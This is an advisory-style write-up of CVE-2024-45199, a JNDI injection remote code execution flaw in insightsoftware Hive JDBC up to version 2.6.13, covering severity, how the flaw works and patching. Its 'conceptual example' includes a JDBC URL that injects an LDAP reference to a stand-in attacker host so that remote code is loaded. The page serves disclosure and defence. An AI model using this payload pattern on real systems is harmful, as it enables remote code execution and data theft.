CVE-2024-45199: Remote Code Execution Vulnerability in insightsoftware Hive JDBC

Overview

The Common Vulnerabilities and Exposures (CVE) system has reported a significant security vulnerability, identified as CVE-2024-45199, within insightsoftware Hive’s JDBC interface. This vulnerability exposes systems using Hive JDBC versions up to 2.6.13 to potential remote code execution attacks. The severity of this vulnerability, both in terms of the potential damage and the extent of susceptible systems, cannot be understated. It affects a broad range of businesses and organizations that rely on Hive JDBC for data management, thus amplifying the importance of understanding, detecting, and mitigating this vulnerability.

Vulnerability Summary

CVE ID: CVE-2024-45199
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

insightsoftware Hive JDBC | Up to 2.6.13

How the Exploit Works

This exploit takes advantage of a flaw within the JDBC interface of Hive. The vulnerability allows an attacker to inject malicious parameters into the JDBC URL. When the JDBC Driver uses this manipulated URL to connect to a database, a Java Naming and Directory Interface (JNDI) injection occurs. This allows the attacker to execute remote code, potentially compromising the system or leading to data leakage.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited could look like this:

String url = "jdbc:hive://target.example.com:10000/default;injectableParam=ldap://malicious.example.com/MaliciousCode";
Connection con = DriverManager.getConnection(url);

In this example, the `injectableParam` is used to insert a reference to an LDAP server controlled by the attacker (`malicious.example.com`). When the JDBC Driver attempts to connect using this URL, it triggers a JNDI lookup to the LDAP server, which can then return malicious Java code to be executed on the vulnerable system.

Mitigation

Affected users should apply the patch provided by the vendor as soon as possible to mitigate this vulnerability. If the patch cannot be installed immediately, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as a temporary measure to detect and prevent potential exploits. However, it should be noted that these measures do not fully eliminate the vulnerability but merely reduce its potential impact. The only complete solution is to update the affected software to a patched version.